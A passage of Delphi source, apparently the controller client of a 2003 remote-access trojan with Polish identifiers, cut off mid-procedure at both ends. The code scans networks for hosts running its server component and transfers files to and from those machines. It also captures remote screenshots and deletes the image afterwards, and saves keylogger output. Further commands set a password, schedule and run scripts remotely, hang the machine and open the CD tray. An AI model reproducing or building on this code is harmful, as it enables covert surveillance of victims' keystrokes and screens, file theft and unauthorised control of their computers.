main.pas

2003年的远程控制

 abortscan:=true;
 scanbutt.caption:='Start';
 end
else
 begin
 scanbutt.caption:='Stop';
 skanuj;
 scanbutt.caption:='Start';
 end;
end;

procedure TPCli6.ThreadDone(Sender: TObject);
begin
  Dec(ThreadsRunning);
  if ThreadsRunning=0 then
  begin
  end;
end;


procedure TPCli6.httpConnect(Sender: TObject; Socket: TCustomWinSocket);
const bufsize=1024;
var ile,writen,block:integer;
    bufor:array[0..bufsize] of char;
    sendpos:longint;
begin
if getfile then
begin
socket.sendtext('GET /#'+getfilename+' HTTP/1.1'+nl);
dirstatus.caption:='serwer polaczony';
{$I-}
assignfile(f,getlocalfile);
rewrite(f,1);
if ioresult<>0 then begin
                    closefile(f);
                    socket.close;
                    end;
{$I+}
end;
if putfile then
begin
socket.sendtext('PUT /P'+putfilename+' HTTP/1.1'+nl);
dirstatus.caption:='serwer polaczony';
{$I-}
 assignfile(f,putlocalfile);
 reset(f,1);
 if ioresult<>0 then begin
                     closefile(f);
                     socket.close;
                     exit;
                     end;
gauge1.maxvalue:=filesize(f);
 closefile(f);
filebytes:=0;
sendpos:=0;
sleep(100);
repeat
 block:=0;
 assignfile(f,putlocalfile);
 reset(f,1);
 if ioresult<>0 then begin
                     closefile(f);
                     socket.close;
                     exit;
                     end;
 seek(f,sendpos);
 repeat
  sendpos:=filepos(f);
  blockread(f,bufor[0],bufsize,ile);
  writen:=socket.sendbuf(bufor[0],ile);
  inc(block,writen);
  filebytes:=filebytes+writen;
//  begin
  gauge1.progress:=filebytes;
  dirstatus.caption:=inttostr(filebytes);
//  end;
  application.ProcessMessages;
 until (writen<>ile)or(ile<>bufsize)or(block=0);
 closefile(f);
 if block=0 then exit;
 if (ile=bufsize) then sleep(100);
until (ile<>bufsize);
{$i+}
socket.close;
putfile:=false;
gauge1.progress:=0;
sleep(100);
Send('DIR','','');
dirstatus.caption:='plik skopiowany';
end;
end;

procedure TPCli6.httpRead(Sender: TObject; Socket: TCustomWinSocket);
const bufsize=1024;
var ile:integer;
    bufor:array[0..bufsize] of char;
begin
if getfile then
begin
 ile:=socket.ReceiveBuf(bufor,bufsize);
 {$i-}
 blockwrite(f,bufor,ile);
 if ioresult<>0 then begin
                     closefile(f); socket.close;  exit;
                     end;
 {$i+}
 filebytes:=filebytes+ile;
 if (filebytes mod (5*bufsize))=0 then
 begin
  gauge1.progress:=filebytes;
  gauge2.progress:=filebytes;
  dirstatus.caption:=inttostr(filebytes);
 end;
end;
end;

procedure TPCli6.SpeedButton38Click(Sender: TObject);
var tmp:string;
begin
if scriptlist.Items.count=0 then exit;
tmp:=scriptlist.items[scriptlist.itemindex];
scriptedit.clear;
Send('TYPESCRIPT',copy(tmp,1,pos(' ',tmp)-1),'');
scriptname.text:=copy(tmp,1,pos(' ',tmp)-1);
scriptcomm.text:=copy(tmp,pos(' ',tmp)+2,1000);
end;

procedure TPCli6.SpeedButton42Click(Sender: TObject);
begin
terminlist.clear;
Send('ENUMTERMIN','','');
end;

procedure TPCli6.SpeedButton41Click(Sender: TObject);
var i:integer;
begin
Send('WRITESCRIPT',scriptname.text,scriptcomm.text);
for i:=0 to scriptedit.lines.count-1 do
 Send('WRITESCRIPTLINE',inttostr(i),scriptedit.lines[i]);
scriptlist.clear;
Send('ENUMSCRIPTS','','');
end;

procedure TPCli6.SpeedButton43Click(Sender: TObject);
begin
scriptedit.clear;
scriptname.text:='nowy';
scriptcomm.text:='nowy';
end;

procedure TPCli6.SpeedButton44Click(Sender: TObject);
var tmp:string;
begin
if scriptlist.Items.count=0 then exit;
tmp:=scriptlist.items[scriptlist.itemindex];
Send('RUNSCRIPT',tmp,'');
end;

procedure TPCli6.SpeedButton45Click(Sender: TObject);
begin
Send('HANG','','');
end;

procedure TPCli6.random1Change(Sender: TObject);
begin
random2.caption:=inttostr(random1.Position)+'%';
end;

procedure TPCli6.SpeedButton52Click(Sender: TObject);
var tmp:string;
begin
if terminlist.Items.count=0 then exit;
tmp:=terminlist.items[terminlist.itemindex];
tmp:=copy(tmp,1,pos(' ',tmp)-1);
terminscripts.clear;
Send('TERMINTYPE',tmp,'');
terminname.text:=tmp;
end;

procedure TPCli6.SpeedButton53Click(Sender: TObject);
var i:integer;
begin
Send('TERMINWRITE',terminname.text,termincomm.Text);
Send('TERMINRAND',inttostr(random1.position),'');
Send('TERMINENABLE',t_bool(terminenabled.checked),'');
Send('TERMINILE',coile.text,ilerazy.text);
Send('TERMINYEAR',yr1.text,yr2.text);
Send('TERMINMONTH',m1.text,m2.text);
Send('TERMINDAY',d1.text,d2.text);
Send('TERMINHOUR',h1.text,h2.text);
Send('TERMINMINUTE',mi1.text,mi2.text);
Send('TERMINDW',inttostr(dw1.itemindex),inttostr(dw2.itemindex));
for i:=0 to terminscripts.items.count-1 do
 Send('TERMINSCRIPT',inttostr(i),terminscripts.items[i]);
terminlist.clear;
Send('ENUMTERMIN','','');
end;

procedure TPCli6.SpeedButton54Click(Sender: TObject);
var tmp:string;
begin
if terminlist.Items.count=0 then exit;
tmp:=terminlist.items[terminlist.itemindex];
tmp:=copy(tmp,1,pos(' ',tmp)-1);
Send('TERMINDELETE',tmp,'');
terminlist.clear;
Send('ENUMTERMIN','','');
end;

procedure TPCli6.SpeedButton56Click(Sender: TObject);
var tmp:string;
begin
if scriptlist.Items.count=0 then exit;
tmp:=scriptlist.items[scriptlist.itemindex];
Send('SCRIPTDELETE',copy(tmp,1,pos(' ',tmp)-1),'');
scriptlist.clear;
Send('ENUMSCRIPTS','','');
end;

procedure TPCli6.SpeedButton46Click(Sender: TObject);
begin
yr1.text:='0'; yr2.text:='0';
end;

procedure TPCli6.SpeedButton47Click(Sender: TObject);
begin
m1.text:='0';m2.text:='0';
end;

procedure TPCli6.SpeedButton48Click(Sender: TObject);
begin
d1.text:='0'; d2.text:='0';
end;

procedure TPCli6.SpeedButton49Click(Sender: TObject);
begin
dw1.itemindex:=0;
dw2.itemindex:=0;
end;

procedure TPCli6.SpeedButton50Click(Sender: TObject);
begin
h1.text:='0';h2.text:='0';
end;

procedure TPCli6.SpeedButton51Click(Sender: TObject);
begin
mi1.text:='0'; mi2.text:='0';
end;

procedure TPCli6.SpeedButton55Click(Sender: TObject);
begin
yr1.text:='0';yr2.text:='0';
m1.text:='0';m2.text:='0';
d1.text:='0';d2.text:='0';
h1.text:='0';h2.text:='0';
mi1.text:='0';mi2.text:='0';
dw1.itemindex:=0; dw2.itemindex:=0;
coile.text:='1';
ilerazy.text:='1';
random1.position:=100;
terminenabled.checked:=true;
terminname.text:='nowy';
termincomm.text:='nowy';
terminscripts.clear;
end;

procedure TPCli6.SpeedButton59Click(Sender: TObject);
begin
terminscripts.clear;
end;

procedure TPCli6.SpeedButton57Click(Sender: TObject);
var tmp:string;
begin
if scriptlist.Items.count=0 then exit;
tmp:=scriptlist.items[scriptlist.itemindex];
tmp:=copy(tmp,1,pos(' ',tmp)-1);
terminscripts.items.add(tmp);
end;

procedure TPCli6.SpeedButton58Click(Sender: TObject);
begin
if terminscripts.Items.count=0 then exit;
if terminscripts.itemindex<0 then exit;
terminscripts.Items.Delete(terminscripts.itemindex);
end;

procedure TPCli6.scansockError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
scan_host:='error #'+inttostr(errorcode);
errorcode:=0;
scan_done:=true;
end;

procedure TPCli6.scansockRead(Sender: TObject; Socket: TCustomWinSocket);
var text,tmp:string;
   numer:integer;
begin
text:=socket.receivetext;
repeat
if pos(#13#10,text)=0 then
 tmp:=text else begin
                tmp:=copy(text,1,pos(#13#10,text)-1);
                text:=copy(text,pos(#13#10,text)+2,1000);
                end;
numer:=strtointdef(copy(tmp,1,3),0);
tmp:=copy(tmp,5,1000);
case numer of
 Inf_username:scan_name:=tmp;
 Inf_version:scan_version:=tmp;
 Inf_hostname:begin scan_host:=tmp; socket.close; end;
 Inf_online:scan_online:=online_time(tmp);
 Inf_pong:scan_ping:=GetTickCount-ping_count;
end;
until pos(#13#10,text)=0;
end;

procedure TPCli6.scansockDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
scan_done:=true;
end;

procedure TPCli6.scansockWrite(Sender: TObject; Socket: TCustomWinSocket);
begin
ping_count:=GetTickCount;
socket.sendtext('PING'+nl);
socket.sendtext('VERSION'+nl);
socket.sendtext('ONLINE'+nl);
socket.sendtext('USER'+nl);
socket.sendtext('HOST'+nl);
end;

procedure TPCli6.pingbuttClick(Sender: TObject);
begin
if scanning then
 begin
 abortscan:=true;
 pingbutt.caption:='Ping';
 end
else
 begin
 pingbutt.caption:='Stop';
 abortscan:=false;
 sprawdz;
 pingbutt.caption:='Ping';
 end;
end;

procedure TPCli6.SpeedButton61Click(Sender: TObject);
var tx:textfile;
  i:integer;
begin
savedialog1.InitialDir:='.';
savedialog1.DefaultExt:='txt';
savedialog1.execute;
if savedialog1.filename<>'' then
 begin
 assignfile(tx,savedialog1.filename);
 rewrite(tx);
 for i:=1 to netlist.rowcount-2 do
  writeln(tx,netlist.rows[i].Commatext);
 netlist.Rows[netlist.rowcount-1].commatext:='';
 closefile(tx);
 end;
end;

procedure TPCli6.SpeedButton60Click(Sender: TObject);
var tx:textfile;
    tmp:string;
begin
opendialog1.InitialDir:='.';
opendialog1.execute;
if opendialog1.filename<>'' then
 begin
 assignfile(tx,opendialog1.filename);
 reset(tx);
 repeat
  netlist.RowCount:=netlist.Rowcount+1;
  Readln(tx,tmp);
  netlist.Rows[netlist.rowcount-2].CommaText:=tmp;
 until eof(tx);
 closefile(tx);
 end;
end;

procedure TPCli6.SpeedButton62Click(Sender: TObject);
begin
Send('SETPASS',newpass.text,'');
end;

procedure TPCli6.SpeedButton65Click(Sender: TObject);
begin
Gauge2.MaxValue:=100000;
Send('JPEG_Q',inttostr(jpeg_quality.position),'');
Send('SCREEN',sysdirectory+'\'+picturefile,'');
end;

procedure TPCli6.Httpd_close;
var tmp:string;
begin
 if getfile then
    begin
    getfile:=false;
    {$I-}
    closefile(f);
    {$I+}
    gauge1.progress:=0;
    gauge2.progress:=0;
    filelistbox1.Update;
    dirstatus.caption:='plik skopiowany';
    tmp:=uppercase(ExtractfileExt(getlocalfile));
    if (tmp='.JPG') or (tmp='.JPEG') then
              begin
              image2.Picture.LoadFromFile(getlocalfile);
              deletefile(getlocalfile);
              end;
    if lowercase(extractfilename(getlocalfile))=picturefile then
      Send('DELETE',sysdirectory+'\'+picturefile,'');
    getfile:=false;
    end;
putfile:=false;
end;

procedure TPCli6.httpError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
errorcode:=0;
httpd_close;
end;

procedure TPCli6.httpDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
httpd_close;
end;

procedure TPCli6.BitBtn2Click(Sender: TObject);
begin
savedialog1.DefaultExt:='txt';
savedialog1.execute;
if savedialog1.filename<>'' then
 keyscan.Lines.SaveToFile(savedialog1.filename);
end;

procedure TPCli6.BitBtn1Click(Sender: TObject);
begin
keyscan.clear;
end;

procedure TPCli6.SpeedButton67Click(Sender: TObject);
begin
memo1.clear;
end;


procedure TPCli6.SpeedButton69Click(Sender: TObject);
begin
Send('OPENCD','','');
end;

procedure TPCli6.SpeedButton70Click(Sender: TObject);
begin
Send('CLOSECD','','');
end;

procedure TPCli6.SpeedButton71Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WSETFOCUS',inttostr(selwin.handle),'');
end;


procedure TPCli6.SpeedButton72Click(Sender: TObject);
begin
opendialog1.InitialDir:='.';
opendialog1.FilterIndex:=2;
opendialog1.execute;
opendialog1.FilterIndex:=1;
if opendialog1.filename<>'' then